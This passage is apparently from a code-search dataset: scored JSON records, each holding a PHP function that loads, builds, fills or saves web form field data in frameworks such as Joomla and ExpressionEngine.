$previous_group_key)\n ) {\n $g++;\n }\n\n $previous_group_key = $group_key;\n $group = ['id' => $field_group_id, 'order' => $g];\n\n if ($field_id) {\n $thisFieldValue = array_filter($value, function ($k) use ($field_id) {\n return strrpos($k, '_' . $field_id) === strlen($k) - strlen('_' . $field_id);\n }, ARRAY_FILTER_USE_KEY);\n $this->addField($i, $group, $field_id, $thisFieldValue);\n } else {\n $this->updateField($fluid_field_data[$id], $i, $group, $value);\n unset($fluid_field_data[$id]);\n }\n\n $i++;\n\n $previous_field_group_id = $field_group_id;\n }\n }\n\n // Remove fields\n foreach ($fluid_field_data as $fluid_field) {\n $this->removeField($fluid_field);\n }\n }", "title": "" }, { "docid": "2ec530e51c9de8cb81afc6081d3a6236", "score": "0.64624256", "text": "function _data_form($reset=0, $data=NULL) {\n\t\t// reset the contents of the form\n\t\t// $reset = 1\n\t\t$object['reset'] = $reset;\n\n\t\t// if $data exist, add to the $member array\n\t\tif($data != NULL) {\n\t\t\t$object['data'] = $data;\n\t\t} else {\n\t\t\t$object['data'] = NULL;\n $object['data']['email'] = \"\";\n\n\t\t\t// For add data, assign the default variable here\n//\t\t\t$member['data']['membership_status'] = 2;\n\t\t}\n\n\t\t// start of form attributes\n\t\t$object['form'] = array(\n\t\t\t'name'\t=>\t'form1',\n\t\t\t'id'\t=>\t'form1',\n\t\t);\n\t\t// end of form attributes\n\n\t\t$object['page_title'] = 'Lupa Password';\n\t\t$this->l_page->save_page('next');\n\n\t\t$this->template->write_view('content', 'forget/forget_input', $object);\n\t\t$this->template->render();\n\t}", "title": "" }, { "docid": "6b3ac0ce1838fbbf292ab92993c39f8b", "score": "0.64506155", "text": "protected function saveFieldData($name, $data) {\n\t\t$this->fields[$name] = $data;\n\t}", "title": "" }, { "docid": "2a4c8bef95570fcead06a4d90cf2102a", "score": "0.64135045", "text": "protected function loadFormData()\n\t{\n\t\t$app = JFactory::getApplication();\n\n\t\t$input = $app->input;\n\n\t\t// Check the session for previously entered form data.\n\t\t$data = $app->getUserState('com_tjfields.edit.field.data', array());\n\t\t$id = $input->get('id', '0', 'INT');\n\n\t\tif (!empty($id))\n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\t$this->preprocessData('com_tjfields.field', $data);\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "9d466819b4815303d3c7bcf86c207aca", "score": "0.6376806", "text": "protected function getFormData() {\n $formData = $this->CI->input->post('formData') ?: array();\n $formConstraints = json_decode(base64_decode($this->CI->input->post('constraints')) ?: '{}', true);\n $formData = $this->transformBasicFields($formData, $formConstraints);\n\n //Populate form data with traditional naming so values can be prefilled if the page re-renders\n foreach($formData as $details){\n $_POST[str_replace(\".\", \"_\", $details->name)] = $details->value;\n }\n\n return $formData;\n }", "title": "" }, { "docid": "9022a81f849ff911310b611ce5d7f4c3", "score": "0.6343763", "text": "abstract public function field_data();", "title": "" }, { "docid": "7e2957f81d7b521fc7fa0b98c9445578", "score": "0.6311869", "text": "public static function addData($field, $data){\t\t\n\t self::$field_data_array[$field] = $data; \n }", "title": "" }, { "docid": "1de93199418bc433d0f8e82837794816", "score": "0.6264558", "text": "function SetForm($arrData,$arrFields) {\n // arrData = Array der Daten\n // arrField = Array der zu bearbeitenden Felder\n // arrType = Array der Feldtypen (radio,check,select)\n // Leere Felder vorhanden?\n if (empty($arrData)) return \"\";\n\n // Datensätze bearbeiten\n if (is_array($arrFields)) {\n foreach($arrData as $strKey => $strVal) {\n // Aktuelles Feld in zu bearbeitende Felder suchen\n if (isset($arrFields[$strKey])) {\n switch ($arrFields[$strKey]) {\n // Typ: Radiobutton\n case \"radio\":\n $arrResult[$strKey.\"_\".$strVal.\"_checked\"]=\"checked\";\n $arrResult[$strKey]=$strVal;\n break;\n // Typ: Checkbox\n case \"check\":\n if (!is_array($strVal)) {\n $arrResult[$strKey.\"_checked\"]=\"checked\";\n $arrResult[$strKey]=$strVal;\n }else{\n foreach ($strVal as $strVal2) {\n $arrResult[$strKey.\"_\".$strVal2.\"_checked\"]=\"checked\";\n $arrResult[$strKey.\"_array\"][]=$strVal2;\n $arrResult[$strKey.\"_string\"].=$strVal2.\",\";\n }\n $arrResult[$strKey.\"_string\"]=substr($arrResult[$strKey.\"_string\"],0,-1);\n }\n break;\n // Typ: Selectlist\n case \"select\":\n if (!is_array($strVal)) {\n $arrResult[$strKey.\"_\".$strVal.\"_selected\"]=\"selected\";\n $arrResult[$strKey]=$strVal;\n }else{\n foreach ($strVal as $strVal2) {\n $arrResult[$strKey.\"_\".$strVal2.\"_selected\"]=\"selected\";\n $arrResult[$strKey.\"_array\"][]=$strVal2;\n $arrResult[$strKey.\"_string\"].=$strVal2.\",\";\n }\n $arrResult[$strKey.\"_string\"]=substr($arrResult[$strKey.\"_string\"],0,-1);\n }\n break;\n // Typ: Standard\n default:\n $arrResult[$strKey]=$strVal;\n break;\n }\n $arrResult[$strKey]=$strVal;\n // Aktuelles Feld nich in Liste = Nur org. Feld zurückgeben\n }else{\n $arrResult[$strKey]=$strVal;\n }\n }\n }else{\n $arrResult=$arrData;\n }\n return $arrResult;\n }", "title": "" }, { "docid": "723dd0fd9da4667c6a22e5e34b954e1f", "score": "0.62612253", "text": "protected function loadFormData() \n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_gmap.edit.gm_editor.data', array());\n\n\t\tif (empty($data)){\n\t\t\t$data = $this->getItem();\n\t\t\t$teile = explode(\",\", $data->map_parameter);\n\t\t\tif (count( $teile ) > '1'){\n\t\t\tfor ($a=0, $b=count( $teile ); $a < $b; $a++){\n\t\t\t\t$parameter = explode(\":\", $teile[$a]);\n\t\t\t\t$data->{$parameter[0]} = $parameter[1];\n\t\t\t}}\n\t\t\t\n\t\t\t$teile = explode(\",\", $data->street_view_parameter);\n\t\t\tif (count( $teile ) > '1'){\n\t\t\tfor ($a=0, $b=count( $teile ); $a < $b; $a++){\n\t\t\t\t$parameter = explode(\":\", $teile[$a]);\n\t\t\t\t$data->{$parameter[0]} = $parameter[1];\n\t\t\t}}\n\t\t\t\n\t\t};\n\n\treturn $data;\n\t}", "title": "" }, { "docid": "31b3ebd93a508631e3bc0836905b985f", "score": "0.6226783", "text": "function loadFormData()\n\t{\n\t\t$app = JFactory::getApplication();\n\t\t$data = $app->getUserState('com_%{component_name}.edit.%{name}.data', array());\n\n\t\tif (empty($data))\n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "5fb3e24b90fc731856d42a738014b0de", "score": "0.6216602", "text": "private function _setFieldToUpdateByRequest()\n {\n\n $this->_fields = '';\n foreach ($_POST as $f => $v) {\n if ($v != '') {\n if ((substr($f, 0, 2) == 'f_') OR ( substr($f, 0, 2) == 'd_')) {\n if ($this->_fields != '') {\n $this->_fields .= ', ';\n }\n $this->_fields .= substr($f, 2) . ' = :' . substr($f, 2);\n $this->_binds[':' . substr($f, 2)] = filter_var($v, FILTER_SANITIZE_STRING);\n }\n }\n }\n }", "title": "" }, { "docid": "3f1d27143a75cc689af11348a8d9ba7a", "score": "0.62106925", "text": "public function fillForm($data)\n\t{\n\t\t//echo \"<pre>\";print_r($data);\n\t\t$form=$this->getForm();\n\t\tif ($form->bind($data)) return $this->form=$form; else return false;\n\t}", "title": "" }, { "docid": "f6e42c09940d949c72c31a9ade3ec3f0", "score": "0.61947685", "text": "public function parseBaseData($data) {\n //Attributes\n if (array_key_exists('attributes', $data)) {\n $this->attributes($data['attributes']);\n unset($data['attributes']);\n }\n\n //Name\n if (array_key_exists('name', $data)) {\n $this->name = $data['name'];\n unset($data['name']);\n } else {\n $this->name = $this->fieldName;\n }\n\n //Pre set title\n $this->title($this->name);\n\n //Values\n if (array_key_exists('value', $data)) {\n $this->setValue($data['value']);\n unset($data['value']);\n }\n\n //Rules\n if (array_key_exists('rules', $data)) {\n $this->rules($data['rules']);\n unset($data['rules']);\n }\n\n //Setting remaining properties\n //Title\n if (array_key_exists('title', $data)) {\n $this->title($data['title']);\n unset($data['title']);\n }\n\n //Title\n if (array_key_exists('label', $data)) {\n $this->label($data['label']);\n unset($data['label']);\n }\n\n foreach ($data as $propertyName => $value) {\n $this->setProperty($propertyName, $value);\n }\n\n //If classes not set - default = form-control\n if (!$this->attributes()->has('class') && !in_array($this->_type,$this->specialFields)) {\n $this->attributes()->add('class', 'form-control');\n }\n\n }", "title": "" }, { "docid": "009ddde8133508bcdbd9beca453843e2", "score": "0.6192883", "text": "protected function row_to_module_form_data($data) {\n\t\tif ( empty($data) ) {\n\t\t\treturn $data;\n\t\t}\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "f918ee2e4e0c8392f306b4029b41bde6", "score": "0.61854875", "text": "function fillFromArray( $data ) {\n\n\t\tforeach ( $this->fieldnames as $key ) {\n\t\t\tif ( isset( $data[$key] ) ) {\n\t\t\t\t$this->$key = $data[ $key ];\n\t\t\t} \n\t\t}\n\n\t}", "title": "" }, { "docid": "f918ee2e4e0c8392f306b4029b41bde6", "score": "0.61854875", "text": "function fillFromArray( $data ) {\n\n\t\tforeach ( $this->fieldnames as $key ) {\n\t\t\tif ( isset( $data[$key] ) ) {\n\t\t\t\t$this->$key = $data[ $key ];\n\t\t\t} \n\t\t}\n\n\t}", "title": "" }, { "docid": "7475da6ff594492241a0f32b89fa96bc", "score": "0.61555284", "text": "protected function getFormFields($data)\n {\n $extra_field_ids = $this->ExtraGroup->selectTypeIDByGroupID(self::$group_id);\n\n $fields = $this->app['form.factory']->createBuilder('form')\n ->add('group_id', 'hidden', array(\n 'data' => $data['group_id']\n ))\n ->add('group_status', 'choice', array(\n 'choices' => array('ACTIVE' => 'active', 'LOCKED' => 'locked', 'DELETED' => 'deleted'),\n 'empty_value' => false,\n 'expanded' => false,\n 'multiple' => false,\n 'required' => false,\n 'data' => $data['group_status']\n ))\n ->add('group_name', 'text', array(\n 'read_only' => ($data['group_id'] > 0) ? true : false,\n 'data' => $data['group_name']\n ))\n ->add('group_description', 'textarea', array(\n 'required' => false,\n 'data' => $data['group_description']\n ))\n ->add('group_organizer_contact_tags', 'choice', array(\n 'choices' => $this->ContactControl->getTagArrayForTwig(),\n 'expanded' => true,\n 'multiple' => true,\n 'required' => true,\n 'data' => (false === ($tags = $this->OrganizerTag->selectTagNamesByGroupID(self::$group_id))) ? null : $tags\n ))\n ->add('group_location_contact_tags', 'choice', array(\n 'choices' => $this->ContactControl->getTagArrayForTwig(),\n 'expanded' => true,\n 'multiple' => true,\n 'required' => true,\n 'data' => (false === ($tags = $this->LocationTag->selectTagNamesByGroupID(self::$group_id))) ? null : $tags\n ))\n ->add('group_participant_contact_tags', 'choice', array(\n 'choices' => $this->ContactControl->getTagArrayForTwig(),\n 'expanded' => true,\n 'multiple' => true,\n 'required' => true,\n 'data' => (false === ($tags = $this->ParticipantTag->selectTagNamesByGroupID(self::$group_id))) ? null : $tags\n ))\n ->add('group_extra_fields', 'hidden', array(\n 'data' => implode(',', $extra_field_ids)\n ))\n ;\n\n // insert the extra fields\n $choice_extra_field = $this->ExtraType->getArrayForTwig();\n foreach ($extra_field_ids as $type_id) {\n $type = $this->ExtraType->select($type_id);\n $fields->add(\"extra_field_\".$type_id, 'choice', array(\n 'choices' => array($type['extra_type_type'] => $this->app['utils']->humanize($type['extra_type_type'])),\n 'empty_value' => '- delete field -',\n 'multiple' => false,\n 'required' => false,\n 'label' => $this->app['utils']->humanize($type['extra_type_name']),\n 'data' => $type['extra_type_type']\n ));\n // remove the type name from the possible selections\n unset($choice_extra_field[$type['extra_type_name']]);\n }\n\n // add selection for an extra field\n $fields->add('add_extra_field', 'choice', array(\n 'choices' => $choice_extra_field,\n 'empty_value' => '- please select -',\n 'expanded' => false,\n 'multiple' => false,\n 'required' => false\n ));\n\n return $fields;\n }", "title": "" }, { "docid": "9fedf8e6d296af5915170396e11da549", "score": "0.6096609", "text": "private function _make_field_row($data) {\n\n $required = \"\";\n if ($data->required) {\n $required = \"*\";\n }\n\n $field = \"<label for='custom_field_$data->id' data-id='$data->id' class='field-row'>$data->title $required</label>\";\n $field .= \"<div class='form-group'>\" . $this->load->view(\"custom_fields/input_\" . $data->field_type, array(\"field_info\" => $data), true) . \"</div>\";\n\n\n\n return array(\n $field,\n $data->sort,\n modal_anchor(get_uri(\"custom_fields/modal_form/\"), \"<i class='fa fa-pencil'></i>\", array(\"class\" => \"edit\", \"title\" => lang('edit_field'), \"data-post-id\" => $data->id))\n . js_anchor(\"<i class='fa fa-times fa-fw'></i>\", array('title' => lang('delete_field'), \"class\" => \"delete\", \"data-id\" => $data->id, \"data-action-url\" => get_uri(\"custom_fields/delete\"), \"data-action\" => \"delete\"))\n );\n }", "title": "" }, { "docid": "a240be992bc33c0dadb4bd36ed74e489", "score": "0.6093381", "text": "function sitesettings_form_field($data, $id)\n{\n $settings = sitesettings_get_field_settings($id);\n\n if (is_null($settings) || empty($settings['type']))\n return $data;\n\n if (empty($data['class']))\n $data['class'] = '';\n\n if ($settings['type'] === '_text' ||\n $settings['type'] === '_textarea' ||\n $settings['type'] === '_profile_pass' ||\n $settings['type'] === '_spam' ||\n $settings['type'] === '_number' ||\n $settings['type'] === '_country' ||\n $settings['type'] === '_tax' ||\n $settings['type'] === '_calc') {\n $data['class'] .= ' form-control';\n }\n\n if ($settings['type'] === '_desc')\n $data['class'] .= ' form-group';\n\n if ($settings['type'] === '_list') {\n if ($settings['data']['list_type'] !== 'checkbox' && $settings['data']['list_type'] !== 'radio')\n $data['class'] .= ' form-control';\n }\n\n if ($settings['type'] === '_submit')\n $data['class'] .= ' btn';\n\n return $data;\n}", "title": "" }, { "docid": "8e2861e204f19e741033c6d73c9effb9", "score": "0.6075196", "text": "private function _set_fields()\n\t{\n\t\t$this->form_data = new StdClass;\n $this->form_data->team_id = 0;\n $this->form_data->group_id = 0;\n\t\t$this->form_data->team_name = '';\n\n $this->form_data->filter_team_name = '';\n $this->form_data->filter_group = 0;\n\t}", "title": "" }, { "docid": "fc370ba6de8e53e899fae1b239cb0509", "score": "0.6063401", "text": "public function buildDataForSaving($data){\r\n\t\t$d = [];\r\n\t\tforeach ($data as $fieldName => $value) {\r\n\t\t\tif(isset($value['option'])){\r\n\t\t\t\t$opt = $value['option'];\r\n\t\t\t\tif(isset($opt['is_hashed']) && $opt['is_hashed'] == true){\r\n\t\t\t\t\t$value['value'] = $this->_password->setPassword($value['value'])->getHash();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$d[$fieldName] = $value['value'];\r\n\t\t}\r\n\t\treturn $d;\r\n\t}", "title": "" }, { "docid": "8ffd7a26e977e496afd975ee765b4c25", "score": "0.60585153", "text": "public function getConfigFieldsValues( $data=null ) { \n \n \n\t\t$this->load->model('localisation/language');\n\t\t$languages = $this->model_localisation_language->getLanguages();\n \n\n $fields_values = array();\n $obj = isset($data['params'])?$data['params']:array();\n\n \n foreach( $this->fields_form as $k=> $f ){ \n foreach( $f['form']['input'] as $j=> $input ){\n \n \tif( isset($input['lang']) ) {\n foreach ( $languages as $lang ){ \n \t$lang['id_lang']= $lang['language_id'];\n $fields_values[$input['name'].'_'.$lang['id_lang']] = isset($obj[$input['name'].\"_\".$lang['id_lang']]) ? $obj[$input['name'].\"_\".$lang['id_lang']] : $input['default'];\n }\n }else {\n \n\t if( isset($obj[trim($input['name'])]) ){\n\t $value = $obj[trim($input['name'])]; \n\t \t\t\t\n\t if( $input['name'] == 'image' && $value ){ \n\t $thumb = __PS_BASE_URI__.'modules/'.$this->name.'/img/'. $value; \n\t $this->fields_form[$k]['form']['input'][$j]['thumb'] = $thumb; \n\t }\n\t \t\t\t$fields_values[$input['name']] = $value;\t\n\t }else{\n \n \t $v = Tools::getValue( $input['name'] );\n\t $fields_values[$input['name']] =$v?$v:$input['default'];\n \t \n\t } \n\t } \n } \n }\n \n if( isset($data['id_widget']) ){\n \t$fields_values['id_widget'] = $data['id_widget'];\n }\n return $fields_values;\n }", "title": "" }, { "docid": "c4188bda803300d408df09bab78bcc55", "score": "0.6056355", "text": "public static function mapFromForm(array $data)\n {\n $cmdData['id'] = $data['id'];\n $cmdData['reason'] = $data['withdraw-details']['reason'];\n return $cmdData;\n }", "title": "" }, { "docid": "22f0d452e6af12e48cc7ac4ef46dfb4b", "score": "0.60503393", "text": "private function captureFormData()\n\t{\n\t\t// Handle different method types\n if($this->_isSubmitted === true)\n {\t\n\t\t\tswitch($this->method)\n\t\t\t{\n\t\t\t\tcase self::METHOD_POST:\n\t\t\t\t\t\n\t\t\t\t\t// Capture raw untrusted data\n\t\t\t\t\t$this->_rawData = $_POST[$this->name];\n\t\t\t\t\t\n\t\t\t\t\t// Capture CSRF safe data \n\t\t\t\t\tif ($this->csrfTokenValidation() === true) \n\t\t\t\t\t{\n\t\t\t\t\t\t$this->data = $_POST[$this->name];\n\t\t\t\t\t\t// beforeSubmit hook\n\t\t\t\t\t\t$this->notify('beforeSubmit', $this->data);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t\tcase self::METHOD_GET:\n\t\t\t\t\t\n\t\t\t\t\t// Capture raw untrusted data\n\t\t\t\t\t$this->_rawData = $_GET[$this->name];\n\t\t\t\t\t\n\t\t\t\t\t// Capture CSRF safe data \n\t\t\t\t\tif ($this->csrfTokenValidation() === true)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->data = $_GET[$this->name];\t\t\t\t\t\n\t\t\t\t\t\t// beforeSubmit hook\n\t\t\t\t\t\t$this->notify('beforeSubmit', $this->data);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n }\n\t}", "title": "" }, { "docid": "08996998bc294ea790a16969b3902398", "score": "0.6045213", "text": "public function processForm($data)\n {\n // Prepare data\n $data = \\tx_mkforms_util_FormBase::flatArray2MultipleTableStructure(\n $data,\n $this->getForm(),\n $this->getConfigurations(),\n $this->getConfId()\n );\n\n $this->processSubscriberData($data['subscriber']);\n }", "title": "" }, { "docid": "2714fd89e4521f93d8c7cc262b1b3a0a", "score": "0.60432297", "text": "function check_data($formdata) {\n $field = $this->_uniqueid;\n\n if (array_key_exists($field, $formdata)) {\n $value = $formdata->$field;\n\n if ($this->_multiple && is_array($value)) {\n foreach ($value as $val) {\n if ($val === '') {\n return false;\n }\n }\n return array('value' => $value);\n } else if ($value !== '') {\n return array('value' => (string)$value);\n }\n }\n return false;\n }", "title": "" }, { "docid": "8a557ed71727dce90c38af3cb8f970db", "score": "0.6042691", "text": "private function prepare_form_data()\n {\n $form_data = array(\n 'user-id' => array(\n 'name' => 'user-id',\n 'value' => Auth::user()->id,\n 'extra' => array('id'=>'password-user-id'),\n ),\n 'password-current' => array(\n 'name' => 'password-current',\n 'extra' => array('id'=>'password-current', 'autofocus'=>''),\n ),\n 'password-new' => array(\n 'name' => 'password-new',\n 'extra' => array('id'=>'password-new'),\n ),\n 'password-verify' => array(\n 'name' => 'password-verify',\n 'extra' => array('id'=>'password-verify'),\n ),\n\n 'lbl-password-current' => array(\n 'target' => 'password-current',\n 'label' => 'Current Password',\n ),\n 'lbl-password-new' => array(\n 'target' => 'password-new',\n 'label' => 'New Password',\n ),\n 'lbl-password-verify' => array(\n 'target' => 'password-verify',\n 'label' => 'Verify Password',\n ),\n\n 'btn-submit' => array(\n 'value' => 'Save Changes',\n 'extra' => array(\n 'class' => 'btn btn-primary',\n ),\n ),\n );\n\n $this->_form_data = $this->massage_form_data($form_data);\n return $this;\n }", "title": "" }, { "docid": "c20d24b7a6bec8e9f65910d2cefc6131", "score": "0.60324633", "text": "public function set_fields(array $data)\n\t{\n\t\tforeach (array_intersect_key($data, $this->_data) as $key => $value)\n\t\t{\n\t\t\t$this->$key = $value;\n\t\t}\n\t}", "title": "" }, { "docid": "0cbaa6cacd0c6189db26645a3af96a32", "score": "0.6030163", "text": "protected function loadFormData()\n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_schedule.edit.field.data', array());\n\n\t\tif (empty($data)) {\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "37b2c971b6d3043b1d69759b66ed5358", "score": "0.6023641", "text": "protected function loadFormData()\n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_registration.edit.registration.data', array());\n\n\t\t$null = array('productType', 'serialNumber', 'purchasedFrom');\n\n\t\tforeach ($null as $unwanted_key)\n\t\t{\n\t\t\t$this->recursive_unset($data, $unwanted_key);\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "a45485035df6420ae45d8a4d7c24b310", "score": "0.6017465", "text": "public function save($data)\n {\n if (is_null($data)) {\n $data = array('fields' => []);\n }\n\n ee()->session->set_cache(__CLASS__, $this->name(), $data);\n\n $fluid_field_data = $this->getFieldData()->indexBy('id');\n\n if (empty($fluid_field_data)) {\n return '';\n }\n\n $compiled_data_for_search = [];\n\n $total_fields = count($data['fields']);\n foreach ($data['fields'] as $key => $value) {\n if ($key == 'new_field_0') {\n continue;\n }\n $create = false;\n $fluid_field_data_id = 0;\n\n if (strpos(key($value), 'field_group_id_') === 0) {\n $field_group_id = (int) str_replace('field_group_id_', '', key($value));\n $field_group_id = ($field_group_id > 0) ? $field_group_id : null;\n $value = current($value);\n }\n\n // Existing field - field_id_3[fields][field_3][field_group_0][field_id_2] = value\n if (strpos($key, 'field_') === 0) {\n $fluid_field_id = (int) str_replace('field_', '', $key);\n if (! isset($fluid_field_data[$fluid_field_id]) && ee('Request')->get('version')) {\n $key = 'new_field_' . ($total_fields + $fluid_field_id);\n }\n }\n // New field - field_id_3[fields][new_field_1][field_group_1][field_id_2] = value\n if (strpos($key, 'new_field_') === 0) {\n $create = true;\n }\n\n // Loop through all field_id => field_value pairs\n foreach ($value as $fieldKey => $fieldValue) {\n if (strpos($fieldKey, 'field_id_') === 0) {\n $field_id = (int) str_replace('field_id_', '', $fieldKey);\n }\n\n if (empty($field_id)) {\n continue;\n }\n\n if ($create) {\n $fluid_field = ee('Model')->make('fluid_field:FluidField');\n $fluid_field->fluid_field_id = $this->field_id;\n $fluid_field->field_group_id = $field_group_id;\n $fluid_field->field_id = $field_id;\n\n $field = $fluid_field->getField();\n $fluid_field_data_id = $fieldKey;\n } else {\n $fluid_field = $fluid_field_data[$fluid_field_id];\n $fluid_field->field_group_id = $field_group_id;\n\n $field = $fluid_field->getField();\n $fluid_field_data_id = $fluid_field_data[$fluid_field_id]->getId();\n }\n\n $field->setItem('fluid_field_data_id', $fluid_field_data_id);\n\n $field->setData($fieldValue);\n $field->validate($fieldValue);\n $subfield = $field->save($fieldValue);\n if ($field->getItem('field_search')) {\n $compiled_data_for_search[] = $subfield;\n }\n }\n }\n\n return implode(' ', $compiled_data_for_search);\n }", "title": "" }, { "docid": "c9bc06d56010f2897a825e3abadfac42", "score": "0.60122436", "text": "function prep_for_form($data = ''){\n\t\t\tif (is_array($data)){\n\t\t\t\tforeach ($data as $key => $val){\n\t\t\t\t\t$data[$key] = $this->prep_for_form($val);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $data;\n\t\t\t}\n\t\t\t\n\t\t\tif ($this->_safe_form_data == FALSE OR $data == ''){\n\t\t\t\treturn $data;\n\t\t\t}\n\t\n\t\t\treturn str_replace(array(\"'\", '\"', '<', '>'), array(\"&#39;\", \"&quot;\", '&lt;', '&gt;'), stripslashes($data));\n\t\t}", "title": "" }, { "docid": "4558e0ab2cab547887d05ffa33bba573", "score": "0.59999126", "text": "public function pre_process($data)\r\n {\r\n // Loop through the form objects terms.\r\n // Assign the POST values to the matching object term values.\r\n foreach($this->terms as $term => $definition)\r\n {\r\n // Get the value from POST\r\n $term_value = Arr::get($data, $term);\r\n\r\n // If there is a value use it\r\n if($term_value)\r\n {\r\n // Apply any pre validation transforms\r\n if(isset($definition['pre_transform']))\r\n {\r\n foreach($definition['pre_transform'] as $method)\r\n {\r\n $term_value = $this->process_transform($method, $term_value);\r\n }\r\n }\r\n\r\n // Set the term value\r\n $this->terms[$term]['value'] = $term_value;\r\n }\r\n }\r\n }", "title": "" }, { "docid": "9c54dc5b852ef0930024e0d1bc71aa92", "score": "0.599805", "text": "function getData() {\n\t\t$dataFields = $this->fields->dataFields();\n\t\tif($dataFields){\n\t\t\tforeach($dataFields as $field) {\n\t\t\t\tif($field->Name()) {\n\t\t\t\t\t$data[$field->Name()] = $field->dataValue();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "f599959790d7c2f0ec2d8088f46b356a", "score": "0.5998026", "text": "public static function showFormData ()\n\t{\n\t\t \t\techo '<table>';\n\t\techo '<tr><th>Field Name</th><th>Value(s)</th></tr>';\n\n\t\tif (empty($_POST)) {\n\t\t\tprint \"<p>No data was submitted.</p>\";\n\t\t} \n\t\telse \n\t\t{\n\n\t\t\tforeach ($_POST as $key => $value) \n\t\t\t{\n\t\t\t\tif (!is_array($value) && get_magic_quotes_gpc()) \n\t\t\t\t\t$value=stripslashes($value);\n\t\t\t\tif ($key=='extras') \n\t\t\t\t{\n\t\t\t\t\tif (is_array($_POST['extras']) )\n\t\t\t\t\t{\n\t\t\t\t\t\tprint \"<tr><td><code>key:$key</code></td><td>\";\n\t\t\t\t\t\tforeach ($_POST['extras'] as $value)\n\t\t\t\t\t\t\tprint \"<i>$value</i><br />\";\n\t\t\t\t\t\tprint \"</td></tr>\";\n\t\t\t\t\t} \n\t\t\t\t\telse \n\t\t\t\t\t{\n\t\t\t\t\t\tprint \"<tr><td><code>$key</code></td><td><i>$value</i></td></tr>\\n\";\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\tprint \"<tr><td><code>$key</code></td><td><i>$value</i></td></tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\techo '</table>';\n\t}", "title": "" }, { "docid": "493b7c4a78bd0a35ad8eced0d1418040", "score": "0.59839106", "text": "public function modify_formdata( $data ) {\n\n\t\t// Checklist Of Categories\n\t\t// Convert category list from array to comma separated string which works like OR instead of default AND in \\SLP_Power_AJAX::filter_JSONP_SearchByCategory\n\t\tif ( isset( $data[ 'tax_input' ] ) && ! empty( $data[ 'tax_input' ][ SLPlus::locationTaxonomy ] ) && ! isset( $data[ 'cat' ] ) ) {\n\t\t\t$data[ 'cat' ] = join( ',' , $data[ 'tax_input' ][ SLPlus::locationTaxonomy ] );\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "e013a314a589e51ffae9617178ff6540", "score": "0.5982114", "text": "public function processFormData(Text $text, array &$data) {\n\n }", "title": "" }, { "docid": "e2e4c4e1f524c2e4440b5425ab8e8260", "score": "0.5977983", "text": "protected function loadFormData() \r\n\t{\r\n\t\t$data = JFactory::getApplication()->getUserState('com_bootcampleaderboards.lineup.data', array());\r\n\t\tif (empty($data)) \r\n\t\t{\r\n\t\t\t$lineup_id = JRequest::getVar( 'lineup_id', '', 'default', 'int' );\r\n\r\n\t\t\t$data = $this->getData($lineup_id);\r\n \r\n\t\t}\r\n\t\treturn $data;\r\n\t}", "title": "" }, { "docid": "5badbc089333d51c9aceb2ed98b00f9e", "score": "0.59707576", "text": "function dataFieldByName($name) {\n\t\treturn $this->fields->dataFieldByName($name);\n\t}", "title": "" }, { "docid": "8b758e17bd7ebdc97198c214ce1ed1f0", "score": "0.5968523", "text": "protected function loadFormData()\n\t{\n\t\t// Check the session for previously entered form data.\n\t\t$data = JFactory::getApplication()->getUserState('com_joomleague.edit.'.$this->name.'.data', array());\n\t\tif (empty($data))\n\t\t{\n\t\t\t$data = $this->getData();\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "f7191de0f763104a9fb6bc29f78d2d55", "score": "0.596429", "text": "public function SetFieldBox($data,$label) {\r\n \r\n echo \"<label for='$label'> $label </label> <input type='text' name='$data' id='$label'><br>\";\r\n return $data;\r\n }", "title": "" }, { "docid": "0a9e6d6b9b22ea19319e790037fe1098", "score": "0.59625745", "text": "protected function loadFormData()\n {\n parent::loadFormData();\n\n if ($this->createData && !$this->request->isPost()) {\n $this->formData = $this->trackEngine->getRoundDefaults() + $this->formData;\n }\n\n // Check the survey name\n $surveys = $this->util->getTrackData()->getAllSurveys(false);\n if (isset($surveys[$this->formData['gro_id_survey']])) {\n $this->formData['gro_survey_name'] = $surveys[$this->formData['gro_id_survey']];\n } else {\n // Currently required\n $this->formData['gro_survey_name'] = '';\n }\n }", "title": "" }, { "docid": "5f9e6575e9f7e07fc97f66ae7ccd0857", "score": "0.59596014", "text": "protected function loadFormData() \n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_squadmanagement.edit.squad.data', array());\n\t\tif (empty($data)) \n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "a85fe5f39a5c969655790266479de659", "score": "0.59590805", "text": "protected function getDataForm() {\n $hiddenFields = parent::getDataForm();\n\n //if(!$this->isTestMode()) {\n // $hiddenFields['blik_code'] = (string)trim($this->getBlikCode());\n // }\n \n $hiddenFields['blik_code'] = (string)trim($this->getBlikCode());\n \n $hiddenFields['channel'] = (string)self::$blikChannel;\n //$hiddenFields['ch_lock'] = '0';\n $hiddenFields['type'] = '4';\n\n return $hiddenFields;\n }", "title": "" }, { "docid": "73df6db341d6714a649539a2ea19e024", "score": "0.5957976", "text": "public function onPreSubmitDataModify(array $data, string $name): array;", "title": "" }, { "docid": "e8c78b41bb58507d2a5a8df082b81433", "score": "0.5954346", "text": "abstract function data($section, $field);", "title": "" }, { "docid": "433a38182ebf3cf9f48166e71bd1390c", "score": "0.5953204", "text": "public 